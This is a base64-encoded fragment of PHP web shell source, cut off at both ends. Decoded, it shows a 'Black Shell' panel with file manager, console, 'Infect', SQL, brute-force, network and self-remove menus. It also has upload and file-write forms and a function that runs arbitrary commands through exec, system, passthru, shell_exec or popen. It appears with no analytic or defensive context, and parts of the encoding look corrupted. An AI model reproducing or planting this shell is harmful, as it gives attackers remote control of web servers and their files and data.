TsKICAgICAgICAgICAgc3IoJyIgLiBhZGRzbGFzaGVzKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuICInLCBwYXJhbXMpOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewogICAgICAgICAgICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQogICAgICAgICAgICAgICAgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQogICAgICAgICAgICAgICAgcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgICAgIHJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwogICAgICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAgICAgICAgICByZXEuc2VuZChwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHByb2Nlc3NSZXFDaGFuZ2UoKSB7CiAgICAgICAgICAgIGlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQogICAgICAgICAgICAgICAgaWYocmVxLnN0YXR1cyA9PSAyMDApIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7CiAgICAgICAgICAgICAgICAgICAgdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICBldmFsKGFyclsyXS5zdWJzdHIoMCwgYXJyWzFdKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CiAgICA8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoOTUsIDExMCwgMTMwLCAwLjMpO3dpZHRoOjEwMCU7dG9wOjA7bGVmdDowOyc+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iOwogICAgICAgICRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwogICAgICAgICR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlID8gJHRvdGFsU3BhY2UgOiAxOwogICAgICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICAgICAgCiAgICAgICAgaWYgKHN0cnBvcygnTGludXgnLCAka2VybmVsKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsIDAsIDYpKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgICRleHBsaW5rIC49IHVybGVuY29kZSgka2VybmVsIC4gJyAnIC4gc3Vic3RyKCRyZWxlYXNlLCAwLCAzKSk7CiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsKICAgICAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICAgICAkZ3JvdXAgPSAiPyI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKICAgICAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107CiAgICAgICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAgICAgJGdyb3VwID0gJGdpZFsnbmFtZSddOwogICAgICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107CiAgICAgICAgfQogICAgICAgICRjd2RfbGlua3MgPSAnJzsKICAgICAgICAkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFMU1snY3dkJpOwogICAgICAgICRuID0gY291bnQoJHBhdGgpOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRuIC0gMTsgJGkrKykgewogICAgICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixcIiI7CiAgICAgICAgICAgIGZvciAoJGogPSAwOyAkaiA8PSAkaTsgJGorKykKICAgICAgICAgICAgICAgICRjd2RfbGlua3MgLj0gJHBhdGhbJGpdIC4gJy8nOwogICAgICAgICAgICAkY3dkX2xpbmtzIC49ICJcIiknPiIgLiAkcGF0aFskaV0gLiAiLzwvYT4iOwogICAgICAgIH0KICAgICAgICAkY2hhcnNldHMgPSBhcnJheSgnVVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4NjYnKTsKICAgICAgICAkb3B0X2NoYXJzZXRzID0gJyc7CiAgICAgICAgZm9yZWFjaCAoJGNoYXJzZXRzIGFzICRvcCkKICAgICAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJyAuICRvcCAuICciICcgLiAoJF9QT1NUWydjaGFyc2V0J10gPT0gJG9wID8gJ3NlbGVjdGVkJyA6ICcnKSAuICc+JyAuICRvcCAuICc8L29wdGlvbj4nOwogICAgICAgICRtID0gYXJyYXkoJ1NlYy4gSW5mbycgPT4gJ1NlY0luZm8nLCAnRmlsZXMnID0+ICdGaWxlc01hbicsICdDbzb2xlJyA9PiAnQ29uc29sZScsICdJbmZlY3QnID0+ICdJbmZlY3QnLCAnU3FsJyA9PiAnU3FsJywgJ1BocCcgPT4gJ1BocCcsICdTYWZlIG1vZGUnID0+ICdTYWZlTW9kZScsICdTdHJpbmcgdG9vbHMnID0+ICdTdHJpbmdUb29scycsICdCcnV0ZWZvcmNlJyA9PiAnQnJ1dGVmb3JjZScsICdOZXR3b3JrJyA9PiAnTmV0d29yaycpOwogICAgICAgIGlmICghZW1wdHkoJEdMT0JBTFNbJ3ZhcjEnXSkpCiAgICAgICAgICAgICRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwogICAgICAgICRtWydTZWxmIHJlbWZSddID0gJ1NlbGZSZW1vdmUnOwogICAgICAgICRtZW51ID0gJyc7CiAgICAgICAgZm9yZWFjaCAoJG0gYXMgJGsgPT4gJHYpCiAgICAgICAgICAgICRtZWIC49ICc8dGg+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJyAuICR2IC4gJ1wnLGbGwsXCdcJyxcJ1wnLFwnXCcpIj4nIC4gJGsgLiAnPC9hPiBdPC90aD4nOwogICAgICAgICRkcml2ZXMgPSAiIjsKICAgICAgICBpZiAoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsKICAgICAgICAgICAgZm9yZWFjaCAocmFuZ2UoJ2MnLCAneicpIGFzICRkcml2ZSkKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGRyaXZlIC4gJzpcXCcpKQogICAgICAgICAgICAgICAgICAgICRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRkcml2ZSAuICc6L1wnKSI+WyAnIC4gJGRyaXZlIC4gJyBdPC9hPiAnOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBlY2hvICcKICAgICAgICAKICAgICAgICA8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT4KICAgICAgICA8dHIgY29sc3Bhbj0iMyI+IDxoMT5CbGFjayBTaGVsbCA8aDE+IDx0cj4KICAgICAgICA8dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJyA/ICc8YnI+RHJpdmVzOicgOiAnJykgLiAnPC9zcGFuPjwvdGQ+JyAuCiAgICAgICAgICAgICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLic8YnI+JyAuICR1aWQgLiAnICggJyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAnICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNwYW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10gPyAnPGZvbnQgY29sb3I9I2ExMDcwNT5PTjwvZm9udD4nIDogJzxmb250IGNvbG9yPSNmOWM0NDA+PGI+T0ZGPC9iPjwvZm9udD4nKSAuICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdQaHBcJyxudWxsLG51bGwsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4gPHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAuICc8YnI+JyAuIHZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJlZTo8L3NwYW4+ICcgLiB2aWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcgLiByb3VuZCgxMDAgLyAoJHRvdGFsU3BhY2UgLyAkZnJlZVNwYWNlKSwgMikgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcgLiB2aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgbjbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48YnI+JyAuICRkcml2ZXMgLiAnPC90ZD4nIC4KICAgICAgICAgICAgJzx0ZCB3aWR0aD0xIGFsaWduPXJpZ2h0Pjxub2JyPjxsYWJlbD48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+JyAuICRvcHRfY2hhcnNldHMgLiAnPC9zZWxlY3Q+PC9sYWJlbD48YnI+PHNwYW4+U2VydmVyIElQOjwvc3Bhbj48YnI+JyAuIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSAuICc8YnI+PHNwYW4+Q2xpZW50IElQOjwvc3Bhbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbm9icj48L3RkPjwvdHI+PCYWJsZT4nIC4KICAgICAgICAgICAgJzx0YWJsZSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojRTJEMUY5OyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicgLiAkbWVudSAuICc8L3RyPjwvdGFibGU+PGRpdj4nOwogICAgfQogICAgZnVuY3Rpb24gaGFyZEZvb3RlcigpCiAgICB7CiAgICAgICAgJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSA/ICIgPGZvbnQgY29sb3I9JyNmOWM0NDAnPlsgV3JpdGVhYmxlIF08L2ZvbnQ+IiA6ICIgPGZvbnQgY29sb3I9I2ExMDcwNT4oTm90IHdyaXRhYmxlKTwvZm9udD4iOwogICAgICAgIGVjaG8gIgogICAgPC9kaXY+CiAgICA8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT4KICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD1cIiIgLiAoZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb25GaWxlc01hbicpID8gImcobnVsbCx0aGlzLmMudmFsdWUsJycpOyIgOiAnJykgLiAicmV0dXJuIGZhbHNlO1wiPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPjwvZm9ybT48L3RkPgogICAgICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9XCIiIC4gKGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uRmlsZXNUb29scycpID8gImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTsiIDogJycpIC4gInJldHVybiBmYWxzZTtcIj48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mIHJlcXVpcmVkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz48L2Zvcm0+PC90ZD4KICAgICAgICA8L3RyPjx0cj4KICAgICAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PVwiIiAuIChmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbkZpbGVzTWFuJykgPyAiZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpOyIgOiAnJykgLiAicmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZCByZXF1aXJlZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc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ygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKSA9PT0gZmFsc2UpKSB7CiAgICAgICAgZnVuY3RpbgcG9zaXhfZ2V0Z3JnaWQoJHApCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gZXgoJGluKQogICAgewogICAgICAgICTilpYgPSAnJzsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICAgICAgQGV4ZWMoJGluLCAk4paWKTsKICAgICAgICAgICAgJOKWliA9IEBqb2luKCJcbiIsICTilpYpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgQHBhc3N0aHJ1KCRpbik7CiAgICAgICAgICAgICTilpYgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICBAc3lzdGVtKCRpbik7CiAgICAgICAgICAgICTilpYgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAgICAgJOKWliA9IHNoZWxsX2V4ZWMoJGluKTsKICAgICAgICB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGluLCAiciIpKSkgewogICAgICAgICAgICAk4paWID0gIiI7CiAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGYpKQogICAgICAgICAgICAgICAgJOKWliAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgIHBjbG9zZSgkZik7CiAgICAgICAgfSBlbHNlCiAgICAgICAgICAgIHJldHVybiAi4oazIFVuYWJsZSB0byBleGVjdXRlIGNvbW1hbmRcbiI7CiAgICAgICAgcmV0dXJuICgk4paWID09ICcnID8gIuKGsyBRdWVyeSBkaWQgbm90IHJldHVybiBhbnl0aGluZ1xuIiA6ICTilpYpOwogICAgfQogICAgZnVuY3Rpb24gdmlld1NpemUoJHMpCiAgICB7CiAgICAgICAgaWYgKCRzID49IDEwNzM3NDE4MjQpCiAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCkgLiAnIEdCJzsKICAgICAgICBlbHNlaWYgKCRzID49IDEwNDg1NzYpCiAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NikgLiAnIE1CJzsKICAgICAgICBlbHNlaWYgKCRzID49IDEwMjQpCiAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCkgLiAnIEtCJzsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAkcyAuICcgQic7CiAgICB9CiAgICBmdW5jdGlvbiBwZXJtcygkcCkKICAgIHsKICAgICAgICBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApCiAgICAgICAgICAgICRpID0gJ3MnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApCiAgICAgICAgICAgICRpID0gJ2wnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApCiAgICAgICAgICAgICRpID0gJy0nOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApCiAgICAgICAgICAgICRpID0gJ2InOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApCiAgICAgICAgICAgICRpID0gJ2QnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApCiAgICAgICAgICAgICRpID0gJ2MnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApCiAgICAgICAgICAgICRpID0gJ3AnOwogICAgICAgIGVsc2UKICAgICAgICAgICAgJGkgPSAndSc7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICAgICAgcmV0dXJuICRpOwogICAgfQogICAgZnVuY3Rpb24gdmlld1Blcm1zQ29sb3IoJGYpCiAgICB7CiAgICAgICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKQogICAgICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+PGI+JyAuIHBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2I+PC9mb250Pic7CiAgICAgICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT48Yj4nIC4gcGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvYj48L2ZvbnQ+JzsKICAgICAgICBlbHNlCiAgICAgICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9I2Y5YzQ0MD48Yj4nIC4gcGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvYj48L2ZvbnQ+JzsKICAgIH0KICAgIGZ1bmN0aW9uIGhhcmRTY2FuZGlyKCRkaXIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRkaCA9IG9wZW5kaXIoJGRpcik7CiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICB9CiAgICB9CiAgICBmdW5jdGlvbiB3aGljaCgkcCkKICAgIHsKICAgICAgICAkcGF0aCA9IGV4K